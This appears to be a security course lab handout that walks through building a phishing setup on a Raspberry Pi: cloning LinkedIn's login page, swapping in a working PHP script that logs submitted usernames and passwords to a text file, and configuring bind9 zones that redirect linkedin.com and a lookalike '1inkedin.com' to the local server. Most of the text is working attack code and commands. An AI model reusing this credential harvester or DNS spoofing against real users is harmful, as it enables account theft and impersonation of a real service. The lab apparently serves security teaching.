Supplementary Instruction of LAB10 configurations

DNS Setup

a) Installing required packages

For this Lab, we need a fake page, server, and tools. Let's install couple of packages first. Apache2 is to create local server and bind9 is used to configure DNS.
Use following commands to install Apache2 and Bind9.

```
# sudo apt install apache2
# sudo apt install bind9
```

```
pi@raspberrypi:~ $ sudo apt install apache2
Reading package lists... Done
Building dependency tree
Reading state information... Done
```

```
pi@raspberrypi:~ $ sudo apt install bind9
Reading package lists... Done
Building dependency tree
Reading state information... Done
```

After installation, they will run automatically. For bind9, it may complain IP address is in used. It is caused by the conflict between bind9 and dnsmasq. To resolve this, you need add line in "/etc/dnsmasq.conf" as shown below.
Open file first using following command.

```
#sudo nano /etc/dnsmasq.conf
```

Add following line in the file as shown below.

```
bind-interfaces
```

```
  GNU nano 3.2                                  /etc/dnsmasq.conf

bind-interfaces
interface=wlan0
dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h
```

Now restart the services.

```
# sudo service dnsmasq restart
# sudo service bind9 restart
```

b) Creating fake website

You need to choose one or some target website. Below used LinkedIn as an example.

```
# wget -mk https://www.linkedin.com
```

Once you execute it, "index.html" of LinkedIn should be downloaded in the folder called "www.linkdin.com". This is what we need.

We need to move this “index.html” to “/var/www/html” folder. There should be an existing “index.html” file. Delete it. Use following command to move “index.html” file.

#sudo mv Desktop/www.linkedin.com/index.html /var/www/html/

```
pi@raspberrypi:  $ sudo mv Desktop/www.linkedin.com/index.html /var/www/html/
```

On browser, enter 127.0.0.1 in the address field. It will lead you to LinkedIn page, which is downloaded “index.html” file.

This lab uses this faked webpage to collect user ID and password. So, we need look for the authentication process in the code. Usually it is included in the “form” and submit through “POST” or “GET” method. Remember, this is modified LlinkedIn index.html file with your own script saved in your local machine. Open file and look for this form section. It should be in the middle of the index.html.

sudo nano /var/www/html/index.html

```
<form class="sign-in-form" action="get.php" method="post" novalidate>
  <input name="loginCsrfParam" value="f70d12b2-56d6-4785-8405-4aa6fa66eec8" type="hidden">

  <div class="sign-in-form__inputs">
    <div class="input">
  <input name="session_key" class="input__field input__field--with-label" aria-label="Type you

    <label class="input__label" for="session_key">
      Email or phone
    </label>


  <p class="input__message hidden" for="session_key" role="alert"></p>
</div>

    <div class="input">
  <input name="session_password" class="input__field input__field--with-label" aria-label="Type

    <label class="input__label" for="session_password">
      Password
    </label>
```

As shown above, the form includes two input, “session_key” and “session_password”. We need to modify the form action as shown above (action=”get.php”). So, when user sign in, it will execute get.php, which records the username and password. Collected username and password will be saved on text file in desired folder. In this example, it is “/home/pi/Desktop/” folder with the file name of “password.txt”.

Next, we need to write “get.php”. Create one and edit it as shown below.

sudo nano /var/www/html/get.php

```
<?php
$username = $_POST['session_key'];
$password = $_POST['session_password'];
$TEXT = "Username: ".$username."  Password: ".$password."\n";
$fo = fopen("/home/pi/Desktop/password.txt","a+") or die("something wrong");
fwrite($fo,$TEXT);
fclose($fo);
header("Location:https://www.google.com");
?>
```

Make sure you have the permission to create and write. Use following command.

```
# sudo chown -R www-data /home/pi/Desktop
```

c) Set DNS Server

We need to specifies where the cache content should be dumped if BIND is asked to dump its cache. Open and edit it.

```
# sudo nano /etc/bind/named.conf.options
```

Add following line of statements shown below.

```
Dump-file "/var/cache/bind/dump.db";
```

```
options {
        directory "/var/cache/bind";

        dump-file "/var/cache/bind/dump.db";
        // If there is a firewall between you and nameservers you want
        // to talk to, you may need to fix the firewall to allow multiple
        // ports to talk.  See http://www.kb.cert.org/vuls/id/800113
```

To host a zone in the local DNS Server, we need to create two zone entries in the DNS Server by adding the following contents to "/etc/bind/named.conf" file. The first zone is for forward lookup (from hostname to IP) and the second one is for reverse lookup (from IP to hostname).
Open and edit it.

```
# sudo nano /etc/bind/named.conf
```

```
 GNU nano 3.2                                  /etc/bind/named.conf

// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "linkedin.com" {
        type master;
        file "/etc/bind/linkedin.com.db";
};
zone "4.168.192.in-addr.arpa" {
        type master;
        file "/etc/bind/192.168.4.db";
};
```

Now, create two files for forward lookup zone and reverse lookup zone.

```
#sudo nano /etc/bind/linkedin.com.db

#sudo nano /etc/bind/192.168.4.db
```

Details in these two files are showed below:

```
  GNU nano 3.2                                  /etc/bind/1inkedin.com.db

$TTL 600
$ORIGIN 1inkedin.com.
@       IN      SOA     ns.1inkedin.com. admin.1inkedin.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS      ns.1inkedin.com.
@       IN      MX      10 mail.1inkedin.com.

www     IN      A       192.168.4.1
mail    IN      A       192.168.4.1
ns      IN      A       192.168.4.1
*.1inkedin.com. IN      A       192.168.4.1
```

```
  GNU nano 3.2                                  /etc/bind/192.168.4.db

$TTL    3D
@       IN      SOA     ns.1inkedin.com. admin.1inkedin.com. (
                2008111001
                8H
                2H
                4W
                1D)
@       IN      NS      ns.1inkedin.com.

101     IN      PTR     www.1inkedin.com.
102     IN      PTR     mail.1inkedin.com.
10      IN      PTR     ns.1inkedin.com.
```

Then execute following commands.

```
# sudo rndc flush
# sudo service bind9 restart
```